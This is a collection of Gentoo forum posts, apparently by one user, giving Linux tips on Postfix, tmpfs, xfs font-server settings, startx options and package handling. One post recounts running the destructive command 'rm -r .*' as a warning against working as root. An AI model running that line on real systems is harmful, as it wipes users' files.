Ups, sorry about that.

One of them should have been commented.

From 'man 8 virtual'
virtual_mailbox_limit (51200000)
The maximal size in bytes of an individual mailbox or maildir file,
or zero (no limit).


I believe it can be used to set the defaults, as you asumed.
But I'm not entirely sure ...

If you've got plenty of ram you can mount your /tmp on a tmpfs filesystem.
In this case you don't need to alter any partition tables.
Depending on what apps you're running it'll also be quite a speed up.

You may want to set the maximum size used for the tmpfs. It will only uses the space it ...

Hi Mods

Is it possible to exclude the Dustbin forum from searches like
http://forums.gentoo.org/search.php?sea ... unanswered
?

Most threads in the Dustbin are unanswered and they are all locked anyway.
So that's all just annoying noise when one's checking for n00b's who need help.

I believe 7100 is the default tcp port for a font-server. -1 tell's it to use a socket instead of the network, which is both faster and more secure.

Can't tell you pros or cons on using the font-server. Personally I just hated having the same information (fontpaths) in several different places.

On a server I like starting with
USE="-*"
And then I read up on available use flags while emerging stuff and add them if wanted. This let's me concentrate on what's relevant atm.

I have tried to use the font server (unix/: 7100), but then X crashes saying it cannot load fixed font. The only solution (I found so far) is to put manually the fontdirs or not to put any.

The unix/:XXX in xorg.conf has to match the settings in /etc/conf.d/xfs.
Mine has XFS_PORT="-1" in it ...

I don't use a graphical login myself, so I can't tell you from experience.
Here's what google had to say about it:
http://www.mozilla.org/unix/dpi.html

Check out the section "Using Redhat and gdm".

Regarding fonts.

I've just put:
FontPath "unix/:-1"
in my xorg.conf.

And added all the font directories to /etc/X11/fs/config instead (the xfs config file this is).

As of my understanding this tells X to use the fontserver instead of dealing with fonts itself. Like this you don't have to maintain ...

Just start X with something like:
startx -- -dpi 96

I've made an alias in my .bashrc:
alias startx='startx -- -dpi 96 -nolisten tcp -br'

Works for me

Just put something like:

<your.ip.address.here>:1025 inet n - n - - smtpd

in your /etc/postfix/master.cf and restart postfix.
You then have a second instance of postfix's smtp-daemon listening on port 1025 which shares the config with the default daemon (port 25).

1) If you make a mistake the damage is permanent imediatly, the system can't protect you. For example I once did rm -r .* in my home dir. If I had been root it would have wiped out my entire disk. Since I was working as a ordinary user I only lost the files in my home dir.

It sounds like your mail is delivered by the postfix virtual delivery agent.
For security reasons you can't call procmail or use a .forward file with this delivery agent. That only works with the local delivery agent.

I don't think you'll need any patches to get the intel 845 running.
I'm running gentoo-dev-sources-2.6.8 on a Dell Inspiron 8500 which also uses the intel 845 chipset. Working like a charm here.

For DMA just enable it in your kernel config and then use hdparm to tune your disk.

hi there

hope you found the solution by now. if not - here goes ...

put something like the following into your user.js file:
user_pref("network.protocol-handler.app.mailto","/usr/bin/thunderbird");

substitute /usr/bin/thunderbird with the full path to your mail client.

the user.js file can be ...

emerge -C module-init-tools
echo "sys-apps/module-init-tools" >> /etc/portage/profile/package.provided

But be aware, that this could break /etc/init.d/modules at boot.
